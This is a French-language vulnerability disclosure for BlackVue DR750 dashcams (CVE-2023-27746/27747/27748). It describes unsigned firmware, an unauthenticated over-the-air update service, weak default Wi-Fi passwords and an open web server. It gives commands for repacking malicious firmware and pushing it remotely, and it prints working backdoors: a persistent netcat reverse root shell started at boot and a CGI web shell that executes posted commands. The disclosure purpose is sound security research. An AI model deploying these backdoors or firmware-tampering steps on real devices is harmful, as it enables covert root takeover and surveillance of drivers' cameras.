
BlackVue DR750 CVE CVE-2023-27746 CVE-2023-27747 CVE-2023-27748
Ce qui suit est uniquement à des fins éducatives, n'essayez pas cela sur un appareil que vous ne possédez pas ou pour lequel vous n'avez pas l'autorisation.
Au moment de la rédaction, il y a environ ~300 appareils BlackVue vulnérables en ligne, qui peuvent facilement être découverts et exploités, et aucun correctif officiel n'a été publié.
BlackVue a été informé de ces vulnérabilités le 30-07-2022 et a répondu qu'ils examineraient les problèmes. Cependant, rien ne s'est passé pour autant que nous sachions.
Il n'y a pas de vérification d'authenticité pour le firmware, ce qui permet à un attaquant malveillant de télécharger un firmware personnalisé. Ce firmware personnalisé peut inclure des portes dérobées ou des exploits.
Étapes pour reproduire :
.zip contenant les fichiers du firmwarepatch_<dashcam_name>.bintar.gzpatch_<dashcam_name>.bin (consultez sue_checksum)# downloaded from https://blackvue.com/download/dr750-2ch-lte-firmware-multilanguage/
$ unzip dr750-2ch-lte-v1.012-eng.zip
$ cd BlackVue/System/upgrade
$ mkdir patch-out
$ tar -C patch-out -xvzf patch_DR750LTE.bin
# make changes in patch-out
$ tar -C patch-out -czvf patch_DR750LTE.bin .
$ python3 sue_checksum.py patch_DR750LTE.bin patch_DR750LTE.bin.sue
$ cd ../../../
Placez ensuite simplement le dossier BlackVue sur la carte SD de la dashcam, et elle commencera à l'exécuter.
Lors de la création d'un firmware pour FOTA (Firmware Over The Air), créez plutôt un fichier .tgz du répertoire System.
$ tar -C BlackVue/System -czvf fwupgrade.tgz
Ce fichier pourra ensuite être utilisé ultérieurement pour télécharger un firmware personnalisé via FOTA et compromettre complètement une dashcam.
Il est important de noter que lors des tests, il a été constaté que même en flashant le firmware officiel du site Web de BlackVue sur l'appareil, les portes dérobées placées persistaient.
Les dashcams BlackVue écoutent sur le port 9771/TCP, où le service FOTA (firmware over the air) est actif. Ce service permet de pinger, redémarrer, obtenir l'heure de l'appareil, mettre à jour le firmware, etc.
Rien ne protège ce point d'accès et il peut être accessible lorsqu'on est connecté au même réseau local que la dashcam ou depuis internet si la dashcam est connectée en LTE, ce qui constitue un risque de sécurité important. Un script Python qui permet de communiquer avec le service FOTA se trouve ici.
Créez un nouveau firmware en suivant les étapes de la section précédente, et téléchargez-le à l'aide du script Python.
python software/fota/fota.py 10.0.0.1 upgrade /tmp/fwupgrade.tgz
Cet utilitaire est fourni sans garantie qu'il fonctionne, mais il a fonctionné une fois auparavant.
Les dashcams ne sont livrées avec aucun pare-feu activé, ce qui est moins problématique si la dashcam est uniquement connectée en Wi-Fi. Cependant, la version LTE est connectée directement à internet, car certains fournisseurs mobiles n'ont pas de pare-feu configuré et ne placent pas leurs utilisateurs derrière un NAT. Cela peut être vérifié en examinant le firmware extrait.
Au minimum, les dashcams BlackVue avec LTE devraient bloquer les connexions du côté LTE.
Le mot de passe Wi-Fi par défaut de la dashcam est composé uniquement de caractères alphanumériques minuscules, d'une longueur de 8. Il est possible d'intercepter une poignée de main (handshake) de la dashcam, et d'utiliser des outils d'Aircrack-ng pour calculer le mot de passe (si l'utilisateur ne l'a pas changé). Cela peut être fait en environ ~4 jours en utilisant du matériel loué (~40 EUR).
Par défaut, le serveur web est accessible sans authentification et expose différents points d'accès.
├── blackvue_live.cgi
├── blackvue_livedata.cgi
├── blackvue_vod.cgi
├── Config
├── index.html
├── Record
└── upload.cgi
Ces points d'accès permettent ce qui suit :
Le SSID Wi-Fi et le mot de passe du réseau auquel la dashcam se connectera sont stockés sur la carte SD de la dashcam. Ces données sont cryptées, mais la clé est facilement révélée par rétro-ingénierie de l'application. Comme démontré par wifi-decrypt.py.
Il convient également de noter que lors du changement du réseau Wi-Fi auquel la dashcam doit se connecter, ces valeurs sont envoyées aux serveurs de BlackVue, qui les stockeront jusqu'à ce qu'ils puissent envoyer l'information à la dashcam. On ne sait pas si ces données sont supprimées lorsque la dashcam redevient disponible.
Tout cela peut être combiné en une simple exécution de code à distance (RCE), en particulier avec les dashcams LTE.
Quelques exemples de portes dérobées, qui pourraient être incluses dans un firmware personnalisé.
La porte dérobée suivante se connectera à une machine distante et donnera un accès complet au shell en tant que root.
/bin/backdoor.sh
#!/bin/sh
IP=$1
PORT=$2
while /bin/true; do
/usr/bin/nc $IP $PORT -e /bin/sh
done
Le script init.d suivant démarrera la porte dérobée à chaque démarrage et se connectera à l'IP/port donné.
/etc/init.d/S85backdoor
#!/bin/sh
/bin/backdoor 10.99.77.20 1745 &
cmd.cgiLa porte dérobée suivante permettra d'exécuter des commandes (en tant que root) lorsqu'une charge utile est envoyée au serveur web.
/res/System/www/cmd.cgi
#!/bin/sh
echo "Content-type: text/html" # set the data-type we want to use
echo ""
POST_STRING=$(/bin/cat)
echo $POST_STRING
exec $POST_STRING